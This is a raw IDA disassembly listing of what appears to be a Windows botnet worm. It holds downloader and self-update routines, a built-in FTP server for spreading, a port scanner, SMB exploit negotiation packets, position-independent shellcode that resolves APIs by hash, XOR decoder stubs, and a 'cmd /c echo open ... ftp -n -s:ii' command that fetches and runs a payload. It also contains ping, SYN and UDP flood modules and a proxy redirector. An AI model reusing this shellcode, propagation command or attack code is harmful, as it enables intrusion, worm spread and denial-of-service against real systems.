dword_443D54	dd 652Dh	dword_443D58	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419B90+82o
		align 10h
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DA1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419D7Co
		align 4
byte_443D94	db 1			; DATA XREF: sub_41A340r
		align 4
dword_443D98	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_443DE4:				; DATA XREF: ___:00421809o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_443DF8	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E0C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E44	dd 63257325h, 0						; sub_41F910+E5o
dword_443E4C	dd 72h		dword_443E50	dd 30h							; sub_4248D0+327o
dword_443E54	dd 3039h	dword_443E58	dd 383631h	dword_443E5C	dd 323931h	dword_443E60	dd 3631h	dword_443E64	dd 323731h	dword_443E68	dd 3031h	off_443E6C	dd offset dword_5C005C	; DATA XREF: ___:0041C1C7r
					; ___:0041C337r
word_443E70	dw 0			; DATA XREF: ___:0041C1D1r
					; ___:0041C341r
		align 4
off_443E74	dd offset dword_49005C	; DATA XREF: ___:0041C196r
					; ___:0041C306r
dword_443E78	dd 430050h						; ___:0041C30Br
dword_443E7C	dd 24h							; ___:0041C32Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D8E0+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D8E0+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D8E0+567o
		align 8
asc_443EB8	db 0Dh,0Ah		; DATA XREF: sub_41D8E0+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D8E0+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D8E0+3C0o
					; ___:0041FD37o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D8E0+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D8E0+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D8E0+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D8E0+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D8E0+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D8E0+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D8E0+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E42Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E3DFo
		dd 0
dword_443FBC	dd 28737973h, 6F626572h, 29746Fh, 0dword_443FCC	dd 6469706Bh, 7325203Ah, 0dword_443FD8	dd 203A736Bh, 7325hdword_443FE0	dd 202E6425h, 7325202Fh, 0dword_443FEC	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E710+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFE0+694o
					; sub_41EFE0+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFE0:loc_41F645o
					; sub_41EFE0+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41EFE0+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41EFE0+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFE0+505o
					; sub_41EFE0+51Ao
		align 4
asc_444068:				; DATA XREF: sub_41EFE0+2EFo
					; sub_41EFE0+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFE0+286o
					; sub_41EFE0+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFE0+254o
					; sub_41EFE0+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFE0+222o
					; sub_41EFE0+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41EFE0+1F3o
					; sub_41EFE0+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EFE0+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F910+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FD6Do
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420040:loc_420095o
					; sub_4205E0+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201A0+CBo
					; sub_420890+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201A0+73o
					; sub_420890+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_420480+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_4205E0+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_4205E0+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_4205E0+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_4205E0+20o
					; sub_4205E0+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_420890+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_420890+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_420890+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_420890+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_420890+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_420890+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_420890+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_420890+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_420890+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_420890+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_420890+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_420890+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_420890+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_420890+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_420890+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_420890+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_420890+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_420890+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_420890+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_420890+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_420890+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_420890+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_420890+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_420890+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_420890+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_420890+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_420890+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_420890+EEo
		align 4
off_4442E4	dd offset loc_616C4A+4	; DATA XREF: sub_420890+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_420890+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_420890+CDo
		align 4
off_4442FC	dd offset byte_4D444D	; DATA XREF: sub_420890+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_420890+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_420890+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_420890+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_420890+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_420890+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_420890+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_420890+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_420890+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_420890+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_420890+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_420890+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_420890+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_420890+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_420890+55o
					; sub_420890:loc_420B1Bo
		align 10h
asc_4443D0:				; DATA XREF: sub_420EC0:loc_420F7Fo
					; sub_420EC0+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420EC0+94o
					; sub_420EC0:loc_42112Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420EC0+84o
					; sub_420EC0+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4228A0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444408	dd 1BDh							; sub_422AF0+310o ...
off_44440C	dd offset sub_401811	; DATA XREF: ___:00423F3Dr
dword_444410	dd 0							; sub_4236A0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422AF0+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422AF0+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422AF0+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422AF0+760o
		align 4
		dd 0
off_44453C	dd offset dword_622D20	; DATA XREF: sub_422AF0+747o
off_444540	dd offset loc_612D1B+5	; DATA XREF: sub_422AF0+737o
					; sub_422AF0+7A3o ...
dword_444544	dd 722D20h						; sub_422AF0+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422AF0+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422AF0+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422AF0+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422AF0+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422AF0+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422AF0+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422AF0+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422AF0+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422AF0+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422AF0+6Do
		align 4
		dd 0
dword_44463C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423BF2o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423BD5o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423B45o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423B0Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423DE7o
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423D86o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:00424267o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:004241B6o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:004240FFo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_4248D0+BDo
		align 10h
dword_444800	dd 10FF8h, 0	dword_444808	dd 10FF8h	dword_44480C	dd 7FFDF020h, 0	dword_444814	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44489C	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4448CC	dd 0		dword_4448D0	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_4448D8	proc near		; DATA XREF: sub_4250B0+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4449D4
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4449EA
		mov	[esi+8], eax
		call	sub_44499D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4449EA
		mov	[esi+0Ch], eax
		call	sub_44494F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4449EA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4448D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_44494F	proc near		; CODE XREF: sub_4448D8+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_444978
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44494F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444978	proc near		; CODE XREF: sub_44494F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_444987:				; CODE XREF: sub_444978+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_444994
		inc	ebx
		jmp	short loc_444987
; ---------------------------------------------------------------------------


loc_444994:				; CODE XREF: sub_444978+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_444978	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44499D	proc near		; CODE XREF: sub_4448D8+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449B5:				; CODE XREF: sub_44499D+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449BD
		mov	ecx, [ecx]
		jmp	short loc_4449B5
; ---------------------------------------------------------------------------


loc_4449BD:				; CODE XREF: sub_44499D+1Aj
		mov	edx, edi


loc_4449BF:				; CODE XREF: sub_44499D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4449C9
		mov	edx, [edx+4]
		jmp	short loc_4449BF
; ---------------------------------------------------------------------------


loc_4449C9:				; CODE XREF: sub_44499D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_44499D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4449D4	proc near		; CODE XREF: sub_4448D8+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4449D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4449EA	proc near		; CODE XREF: sub_4448D8+16p
					; sub_4448D8+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A00:				; CODE XREF: sub_4449EA+33j
		jecxz	short loc_444A3A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A0D:				; CODE XREF: sub_4449EA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A19
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A0D
; ---------------------------------------------------------------------------


loc_444A19:				; CODE XREF: sub_4449EA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A00
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A3A:				; CODE XREF: sub_4449EA:loc_444A00j
					; sub_4449EA:loc_444A3Aj
		jmp	short loc_444A3A
sub_4449EA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A40	proc near		; DATA XREF: sub_4250B0+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444A92
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A5D:				; CODE XREF: sub_444A40+38j
		jecxz	short loc_444A8D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444A68:				; CODE XREF: sub_444A40+32j
		lodsb
		test	al, al
		jz	short loc_444A74
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444A68
; ---------------------------------------------------------------------------


loc_444A74:				; CODE XREF: sub_444A40+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A5D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444A8D:				; CODE XREF: sub_444A40:loc_444A5Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A40	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A92	proc near		; CODE XREF: sub_444A40+7p

; FUNCTION CHUNK AT 00444ACA SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444AAB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AB6
; ---------------------------------------------------------------------------


loc_444AAB:				; CODE XREF: sub_444A92+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AB6:				; CODE XREF: sub_444A92+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444ACA
sub_444A92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444ABD	proc near		; CODE XREF: sub_444A92:loc_444ACAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444ABD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A92


loc_444ACA:				; CODE XREF: sub_444A92+29j
		call	sub_444ABD
; END OF FUNCTION CHUNK	FOR sub_444A92
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444B64	dd 23h		dword_444B68	dd 60h		dword_444B6C	dd 62B0606h, 2050501h, 0A0hdword_444B78	dd 0A1h		dword_444B7C	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_4248D0+16Do
		align 4


loc_444B88:				; DATA XREF: sub_4248D0+100o
		jmp	short near ptr dword_444B90
; ---------------------------------------------------------------------------
		align 10h
dword_444B90	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_4250B0+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C38:				; DATA XREF: sub_425580+CCo
		jmp	short loc_444C3C
; ---------------------------------------------------------------------------


loc_444C3A:				; CODE XREF: ___:loc_444C3Cp
		jmp	short loc_444C41
; ---------------------------------------------------------------------------


loc_444C3C:				; CODE XREF: ___:loc_444C38j
		call	loc_444C3A


loc_444C41:				; CODE XREF: ___:loc_444C3Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C46	dw 0FFFFh		; DATA XREF: sub_425580+D3w
		db 80h,	73h, 0Eh
byte_444C4B	db 0FFh			; DATA XREF: sub_425580+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C50:				; DATA XREF: sub_425580+A7o
		jmp	short loc_444C54
; ---------------------------------------------------------------------------


loc_444C52:				; CODE XREF: ___:loc_444C54p
		jmp	short loc_444C59
; ---------------------------------------------------------------------------


loc_444C54:				; CODE XREF: ___:loc_444C50j
		call	loc_444C52


loc_444C59:				; CODE XREF: ___:loc_444C52j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C5D	db 0FFh			; DATA XREF: sub_425580+AEw
		dw 7380h
		db 0Ch
byte_444C61	db 0FFh			; DATA XREF: sub_425580+B4w
		dw 0E243h
		dd 0F9h
dword_444C68	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425310+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444CCC	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444CDC	dd 74656720h	byte_444CE0	db 20h			; DATA XREF: sub_425310+A2r
dword_444CE1	dd 0E8006A00h	dword_444CE5	dd 17h							; sub_425310+D2r
dword_444CE9	dd 0E8C30175h	dword_444CED	dd 1							; sub_425310+E7r
byte_444CF1	db 0, 6Ah, 0		; DATA XREF: sub_425310+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444CFB	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_4264F0+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_426740+D0o
					; Themida_:005DE1F9o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_426740+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_426740+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4268C0+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4268C0+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4268C0+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_4268C0+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_426A40+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426B00+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426B00+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426B00+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426F50+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:004270D1o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_427010+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427630+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_4276F0+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_4276F0+47o
		align 10h
off_444F00	dd offset byte_455247	; DATA XREF: sub_427E60+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_4280E0+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_4280E0+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_428360+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_428360+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_428360+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_428360:loc_428EE1o
					; sub_428360+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_428360+B63o
					; sub_428360+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_428360+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_428360+961o
		align 8
